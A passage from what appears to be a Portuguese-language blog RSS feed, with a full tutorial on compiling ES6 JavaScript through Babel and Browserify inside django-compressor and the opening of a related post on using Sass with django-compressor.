&lt;li&gt;&lt;a href=&quot;http://klauslaube.com.br/2016/06/20/django-e-es6-com-django-compressor.html&quot;&gt;Django e ES6 com django-compressor&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://klauslaube.com.br/2016/06/04/django-e-sass-com-django-compressor.html&quot;&gt;Django e Sass com django-compressor&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://devcenter.heroku.com/articles/using-multiple-buildpacks-for-an-app&quot;&gt;Heroku Dev Center: Using Multiple Buildpacks for an App&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Django e ES6 com django-compressor]]></title><description><![CDATA[No post anterior,
falamos sobre como utilizar o Sass
com o framework Django
através da biblioteca Compressor (e sem necessitar de uma…]]></description><link>https://klauslaube.com.br/2016/06/20/django-e-es6-com-django-compressor.html</link><guid isPermaLink="false">https://klauslaube.com.br/2016/06/20/django-e-es6-com-django-compressor.html</guid><pubDate>Mon, 20 Jun 2016 23:04:00 GMT</pubDate><content:encoded>&lt;p&gt;No &lt;a href=&quot;/2016/06/04/django-e-sass-com-django-compressor.html&quot; title=&quot;Django e Sass com django-compressor&quot;&gt;&lt;em&gt;post&lt;/em&gt; anterior&lt;/a&gt;,
falamos sobre como utilizar o &lt;a href=&quot;/tag/sass.html&quot; title=&quot;Leia mais sobre Sass&quot;&gt;&lt;em&gt;Sass&lt;/em&gt;&lt;/a&gt;
com o &lt;em&gt;framework&lt;/em&gt; &lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt;
através da biblioteca &lt;em&gt;Compressor&lt;/em&gt; (e sem necessitar de uma
ferramenta intermediária para &lt;em&gt;build&lt;/em&gt;). Nesse artigo, vamos utilizar
o mesmo conceito e apresentar uma forma diferente de utilizar
a nova versão do &lt;a href=&quot;/tag/javascript.html&quot; title=&quot;Leia mais sobre Javascript&quot;&gt;&lt;em&gt;Javascript&lt;/em&gt;&lt;/a&gt;
com o &lt;code class=&quot;language-text&quot;&gt;django-compressor&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Instalando e configurando o Compressor&lt;/h2&gt;
&lt;p&gt;Vamos recaptular o processo de instalação do &lt;code class=&quot;language-text&quot;&gt;django-compressor&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pip install django-compressor&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Não podemos esquecer de adicionar a &lt;em&gt;app&lt;/em&gt; ao &lt;code class=&quot;language-text&quot;&gt;INSTALLED_APPS&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# settings.py&lt;/span&gt;
INSTALLED_APPS &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;compressor&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E para finalizar, precisamos fazer os estáticos serem &quot;encontráveis&quot;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# settings.py&lt;/span&gt;
STATICFILES_FINDERS &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;django.contrib.staticfiles.finders.FileSystemFinder&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;django.contrib.staticfiles.finders.AppDirectoriesFinder&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;compressor.finders.CompressorFinder&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Para simplificar o nosso exemplo, vou reaproveitar o cenário criado no &lt;em&gt;post&lt;/em&gt;
anterior:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;django-html&quot;&gt;&lt;pre class=&quot;language-django-html&quot;&gt;&lt;code class=&quot;language-django-html&quot;&gt;&amp;lt;!-- index.html --&amp;gt;

{% load compress %}
{% load staticfiles %}

{% compress js %}
    &amp;lt;script src=&amp;quot;{% static &amp;#39;vendor/jquery/jquery.js&amp;#39; %}&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
    &amp;lt;script src=&amp;quot;{% static &amp;#39;js/app.js&amp;#39; %}&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
{% endcompress %}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Imagine que o nosso arquivo &lt;code class=&quot;language-text&quot;&gt;js/app.js&lt;/code&gt; é um &lt;em&gt;Javascript&lt;/em&gt;, mas escrito seguindo as
especificações do &lt;a href=&quot;/tag/es6.html&quot; title=&quot;Leia mais sobre ES6&quot;&gt;&lt;em&gt;ES6&lt;/em&gt;&lt;/a&gt;. Podendo ser algo
semelhante ao exemplo abaixo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; createStore &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;redux&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; rootReducer &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;./reducers&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; App &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;./components/app&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; store &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;createStore&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;rootReducer&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
store&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;subscribe&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;app&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;subscriber&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O bloco de &lt;code class=&quot;language-text&quot;&gt;{% compress js %}&lt;/code&gt; será responsável por minificar e concatenar os nossos &lt;em&gt;scripts&lt;/em&gt;.
Se executarmos o comando &lt;code class=&quot;language-text&quot;&gt;manage.py compress&lt;/code&gt;, provavelmente não teremos nenhum problema,
e o &lt;a href=&quot;/tag/html.html&quot; title=&quot;Leia mais sobre HTML&quot;&gt;&lt;em&gt;HTML&lt;/em&gt;&lt;/a&gt; de resposta será algo parecido com isso:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;html&quot;&gt;&lt;pre class=&quot;language-html&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;&amp;lt;!-- index.html --&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;script&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;text/javascript&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;src&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;/static/CACHE/js/3ffb288f8747.js&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token script&quot;&gt;&lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;script&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Mas o &lt;em&gt;ES6&lt;/em&gt; ainda não é amplamente suportado pelos navegadores... logo, teremos
que usar &quot;transpiladores&quot; para que o código seja traduzido em algo &quot;entendível&quot; pelos &lt;em&gt;browsers&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Hello NPM my old friend&lt;/h2&gt;
&lt;p&gt;Eu sinceramente desconheço uma ferramenta que faça &lt;a href=&quot;https://www.stevefenton.co.uk/2012/11/compiling-vs-transpiling/&quot; title=&quot;Compiling vs Transpiling&quot;&gt;&lt;em&gt;transpiling&lt;/em&gt;&lt;/a&gt;
de &lt;em&gt;ES6&lt;/em&gt; para &lt;em&gt;ES5&lt;/em&gt; melhor que o &lt;a href=&quot;https://babeljs.io/&quot; title=&quot;Use next generation JavaScript, today&quot;&gt;&lt;em&gt;Babel&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;E embora a gente &quot;torça o nariz&quot; para a necessidade de adicionar &lt;a href=&quot;/tag/node.html&quot; title=&quot;Leia mais sobre Node&quot;&gt;&lt;em&gt;Node.js&lt;/em&gt;&lt;/a&gt;
à nossa &lt;em&gt;stack&lt;/em&gt; &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;, o uso do &lt;em&gt;Babel&lt;/em&gt; nessas condições faz
certo sentido. Primeiro, por nos permitir escrever &lt;em&gt;Javascript&lt;/em&gt;
numa versão mais prática, legível e divertida. Segundo, que com o auxílio do
&lt;a href=&quot;http://browserify.org/&quot; title=&quot;Browserify lets you require modules in the browser&quot;&gt;&lt;em&gt;Browserify&lt;/em&gt;&lt;/a&gt; (por exemplo),
podemos deixar a resolução de &lt;em&gt;path&lt;/em&gt; do &lt;em&gt;JS&lt;/em&gt; nas mãos da tríade &lt;em&gt;NPM/Browserify/Babel&lt;/em&gt;
(ou você achou que aquele &lt;code class=&quot;language-text&quot;&gt;import &apos;redux&apos;&lt;/code&gt; veio de graça?).&lt;/p&gt;
&lt;p&gt;Isso nos permite escrever &lt;em&gt;Javascript&lt;/em&gt; modular, utilizando recursos que já são &lt;em&gt;built-in&lt;/em&gt;
(na especificação) da linguagem, sem necessariamente nos preocuparmos em como resolveremos as
questões de importação (como por exemplo, se usaremos &lt;a href=&quot;http://requirejs.org/&quot; title=&quot;RequireJS is a JavaScript file and module loader&quot;&gt;&lt;em&gt;RequireJS&lt;/em&gt;&lt;/a&gt;
ou &lt;a href=&quot;https://github.com/cujojs/curl&quot; title=&quot;curl.js is small, fast, extensible module loader&quot;&gt;&lt;em&gt;curl.js&lt;/em&gt;&lt;/a&gt;)
e deixamos toda essa responsabilidade nas mãos da ferramenta de &lt;em&gt;bundling&lt;/em&gt; de sua escolha.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 620px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/dc950275e2c6d590b83a54d5a867fdc3/2a195/django-babel-auf-wiedersehen.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 41.66666666666667%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAAsTAAALEwEAmpwYAAABnklEQVQY02NgYGRkZWbh5+AS4OIW4eWVFRYU4ubm4+QKd3Tsy8/rS4lJNNc0lhbjZGVXlhDi5+JiZmZlYmJmBAMGBkYGVhYWPk5uQS4ecT4+aSEBYR4eYW6e8tjIrf1di6uK+2ODU+3MRLm42VjZmJiYGBkhCKwZTAIFmZlBiIWVBaiCRYibM83PY8ek/rrQwJa4yBALU2VBATYWdmZGZpBauM1MjEBdLMxgxMLMwgbSzCrEyV4bFbpv+pQVVVUbmhtzPV10RYFinEyMTCCVTKxwmyF8FgiDlZWViZkV6PL8IO81XR1rG2ubI0Os5GUVRMX4uHmBngSqRGhmYWZlY2YX4OaTEhUFBQAQgwgGFSnJ3vLyjpzsdDf7WCtTRQkpoNFgWaCHmUEqgMqAHgAyBPl5dVRkmVnY5WTklRXVPR2cyxKSJjd3tlU15iakp4dFyUlKcXDycnHxsLKwcrCxsQEDh5kZpBlsObO9mWVtaWNlQeOUuvbNPW1VkeFVucXL5i+tr2zU0zLk4OCWl1dX0zDS1TFVkFUU4uEX4OQGAIc7Q85JPpMqAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Django + Babel é como dar um Auf Wiedersehen para o ES5 (fallsdownz.blogspot.com.br)&amp;quot;&quot;
        title=&quot;Django + Babel é como dar um Auf Wiedersehen para o ES5 (fallsdownz.blogspot.com.br)&quot;
        src=&quot;/static/dc950275e2c6d590b83a54d5a867fdc3/2a195/django-babel-auf-wiedersehen.png&quot;
        srcset=&quot;/static/dc950275e2c6d590b83a54d5a867fdc3/8514f/django-babel-auf-wiedersehen.png 192w,
/static/dc950275e2c6d590b83a54d5a867fdc3/804b2/django-babel-auf-wiedersehen.png 384w,
/static/dc950275e2c6d590b83a54d5a867fdc3/2a195/django-babel-auf-wiedersehen.png 620w&quot;
        sizes=&quot;(max-width: 620px) 100vw, 620px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Django + Babel é como dar um Auf Wiedersehen para o ES5 (fallsdownz.blogspot.com.br)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Sem mais delongas, vamos instalar as dependências que precisaremos para o nosso exemplo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;npm install --save-dev babelify babel-preset-es2015 redux&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Dos pacotes acima, os mais fundamentais são:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;babelify&lt;/code&gt;: Um &lt;a href=&quot;http://babeljs.io/docs/plugins/#transform&quot; title=&quot;Babel plugins&quot;&gt;&lt;em&gt;transform&lt;/em&gt;&lt;/a&gt; de &lt;em&gt;Babel&lt;/em&gt; para o &lt;em&gt;Browserify&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;babel-preset-es2015&lt;/code&gt;: Um &lt;em&gt;preset&lt;/em&gt; com um apanhado de &lt;em&gt;plugins&lt;/em&gt; necessários para compilar &lt;em&gt;ES2015&lt;/em&gt; para &lt;em&gt;ES5&lt;/em&gt;;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;O pacote &lt;code class=&quot;language-text&quot;&gt;redux&lt;/code&gt; é apenas uma dependência utilizada pelo exemplo, e não
influencia diretamente no processo de &lt;em&gt;build&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Para facilitar a comunicação entre o &lt;em&gt;Django&lt;/em&gt; e o &lt;em&gt;Babel&lt;/em&gt;, vamos criar um arquivo de configuração
&lt;code class=&quot;language-text&quot;&gt;.babelrc&lt;/code&gt;, na raíz do nosso projeto, com a seguinte configuração:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;presets&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;es2015&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Voltamos ao &lt;em&gt;Django&lt;/em&gt;, para terminar de configurar o nosso projeto.&lt;/p&gt;
&lt;h2&gt;Back to the Django&lt;/h2&gt;
&lt;p&gt;Como no exemplo do &lt;em&gt;post&lt;/em&gt; anterior, vamos utilizar a capacidade de setarmos
compiladores/transpiladores, no &lt;code class=&quot;language-text&quot;&gt;django-compressor&lt;/code&gt;, e passaremos a interpretar
os arquivos &lt;em&gt;Javascript&lt;/em&gt; utilizando o &lt;em&gt;Babel&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# settings.py&lt;/span&gt;
COMPRESS_PRECOMPILERS &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;text/es6&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;./node_modules/.bin/browserify {infile} -t babelify --outfile {outfile}&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O &lt;em&gt;path&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;./node_modules/.bin/browserify&lt;/code&gt; é onde está o binário após ser instalado
via &lt;code class=&quot;language-text&quot;&gt;npm&lt;/code&gt;. Os parâmetros &lt;code class=&quot;language-text&quot;&gt;infile&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;outfile&lt;/code&gt; dizem respeito ao arquivo de entrada e
de saída, respectivamente.&lt;/p&gt;
&lt;p&gt;Agora basta voltarmos ao nosso &lt;em&gt;template&lt;/em&gt;, e adicionarmos o atributo &lt;code class=&quot;language-text&quot;&gt;type=&quot;text/es6&lt;/code&gt; à
nossa &lt;em&gt;tag&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;&amp;lt;script&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;django-html&quot;&gt;&lt;pre class=&quot;language-django-html&quot;&gt;&lt;code class=&quot;language-django-html&quot;&gt;&amp;lt;!-- index.html --&amp;gt;

{% load compress %}
{% load staticfiles %}

{% compress js %}
    &amp;lt;script src=&amp;quot;{% static &amp;#39;vendor/jquery/jquery.js&amp;#39; %}&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
    &amp;lt;script src=&amp;quot;{% static &amp;#39;js/app.js&amp;#39; %}&amp;quot; type=&amp;quot;text/es6&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
{% endcompress %}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pronto! Agora é só ver o resultado através do comando &lt;code class=&quot;language-text&quot;&gt;python manage.py compress&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Tratando-se de uma aplicação em produção, onde é recomendado utilizar o &lt;code class=&quot;language-text&quot;&gt;django-compressor&lt;/code&gt;
com &lt;a href=&quot;http://django-compressor.readthedocs.io/en/latest/scenarios/#offline-compression&quot; title=&quot;Offline compression&quot;&gt;&lt;em&gt;offline compression&lt;/em&gt;&lt;/a&gt;,
a adição do &lt;em&gt;Browserify&lt;/em&gt; não impactará no tempo de resposta
do seu servidor. No entanto, é certo que o servidor local, levantado através do
&lt;code class=&quot;language-text&quot;&gt;manage.py runserver&lt;/code&gt;, leve um tempo maior para responder depois dessa adição.&lt;/p&gt;
&lt;p&gt;Na dúvida, não custa testar...&lt;/p&gt;
&lt;p&gt;Inicie utilizando o &lt;em&gt;Django&lt;/em&gt; com &lt;em&gt;Compressor&lt;/em&gt;. A partir do momento onde os
tempos de resposta tornem-se muito altos, opte por uma ferramenta que
&lt;a href=&quot;/2016/02/22/vivendo-sem-o-grunt.html&quot; title=&quot;Vivendo sem o Grunt&quot;&gt;execute o &lt;em&gt;build&lt;/em&gt; em paralelo&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Até a próxima!&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/babel/babelify&quot;&gt;&lt;em&gt;Babelify - Browserify transform for Babel&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://django-compressor.readthedocs.io/en/latest/&quot;&gt;&lt;em&gt;Django Compressor - Compresses linked and inline JavaScript or CSS into a single cached file&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Django e Sass com django-compressor]]></title><description><![CDATA[Eu sempre gostei da proposta do : Concatenar e comprimir
estáticos, utilizando como agrupadores os blocos da engine de templates
do Django…]]></description><link>https://klauslaube.com.br/2016/06/04/django-e-sass-com-django-compressor.html</link><guid isPermaLink="false">https://klauslaube.com.br/2016/06/04/django-e-sass-com-django-compressor.html</guid><pubDate>Sat, 04 Jun 2016 16:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Eu sempre gostei da proposta do &lt;code class=&quot;language-text&quot;&gt;django-compressor&lt;/code&gt;: Concatenar e comprimir
estáticos, utilizando como agrupadores os blocos da &lt;em&gt;engine&lt;/em&gt; de &lt;em&gt;templates&lt;/em&gt;
do &lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt;.
Além de manter a declaração dos &lt;em&gt;assets&lt;/em&gt; no &lt;a href=&quot;/tag/html.html&quot; title=&quot;Leia mais sobre HTML&quot;&gt;&lt;em&gt;HTML&lt;/em&gt;&lt;/a&gt;,
ele ainda abre uma margem interessante para quando você precisa customizar um grupo
de estáticos para uma determinada página.&lt;/p&gt;
&lt;p&gt;Com a chegada dos pré-processadores, como &lt;a href=&quot;http://sass-lang.com/&quot; title=&quot;CSS with superpower&quot;&gt;&lt;em&gt;Sass&lt;/em&gt;&lt;/a&gt;
e &lt;a href=&quot;http://coffeescript.org/&quot; title=&quot;CoffeeScript is a little language that compiles into JavaScript&quot;&gt;&lt;em&gt;CoffeeScript&lt;/em&gt;&lt;/a&gt;,
e fatalmente com o advento das ferramentas de &lt;em&gt;build&lt;/em&gt;, deixar esse processo
para o &lt;em&gt;Django&lt;/em&gt; passou a ser questionável. É extremamente razoável passar toda
essa responsabilidade para o &lt;a href=&quot;/tag/grunt.html&quot; title=&quot;Leia mais sobre Grunt&quot;&gt;&lt;em&gt;Grunt&lt;/em&gt;&lt;/a&gt;,
e colocar apenas no seu &lt;em&gt;template&lt;/em&gt; &lt;em&gt;Django&lt;/em&gt; a &lt;em&gt;URL&lt;/em&gt; do estático já &quot;buildado&quot;.&lt;/p&gt;
&lt;p&gt;Na minha opinião, isso tira um pouco da vantagem descrita no primeiro parágrafo,
e adiciona certa complexidade à nossa &lt;em&gt;stack&lt;/em&gt; de desenvolvimento. Baseado nisso,
e indo na &lt;a href=&quot;/2016/02/22/vivendo-sem-o-grunt.html&quot; title=&quot;Vivendo sem o Grunt&quot;&gt;onda da simplificação de &lt;em&gt;build&lt;/em&gt;&lt;/a&gt;,
que eu resolvi devolver esse poder ao &lt;em&gt;Django&lt;/em&gt;.
E já te adianto: Estou relativamente satisfeito com o resultado!&lt;/p&gt;
&lt;h2&gt;Concat e minify sem Node.js&lt;/h2&gt;
&lt;p&gt;O &lt;em&gt;Django Compressor&lt;/em&gt; é um &lt;em&gt;app&lt;/em&gt; &lt;em&gt;Django&lt;/em&gt; que comprime &lt;em&gt;Javascript&lt;/em&gt;
ou &lt;em&gt;CSS&lt;/em&gt;, em um único arquivo cacheável.&lt;/p&gt;
&lt;p&gt;Para usá-lo, começamos instalando através do &lt;code class=&quot;language-text&quot;&gt;pip&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;::shell
$ pip install django-compressor&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Na sequência, precisamos adicioná-lo ao arquivo de configuração do seu projeto &lt;em&gt;Django&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;::python
# settings.py
INSTALLED_APPS = (
    ...
    &apos;compressor&apos;,
    ...
)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Não esqueça de adicioná-lo ao &lt;code class=&quot;language-text&quot;&gt;STATICFILES_FINDERS&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;::python
# settings.py
STATICFILES_FINDERS = (
    &apos;django.contrib.staticfiles.finders.FileSystemFinder&apos;,
    &apos;django.contrib.staticfiles.finders.AppDirectoriesFinder&apos;,
    ...
    &apos;compressor.finders.CompressorFinder&apos;,
)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E no seu &lt;em&gt;template&lt;/em&gt; &lt;em&gt;Django&lt;/em&gt;, utilizamos a &lt;code class=&quot;language-text&quot;&gt;templatetag&lt;/code&gt; de compressão
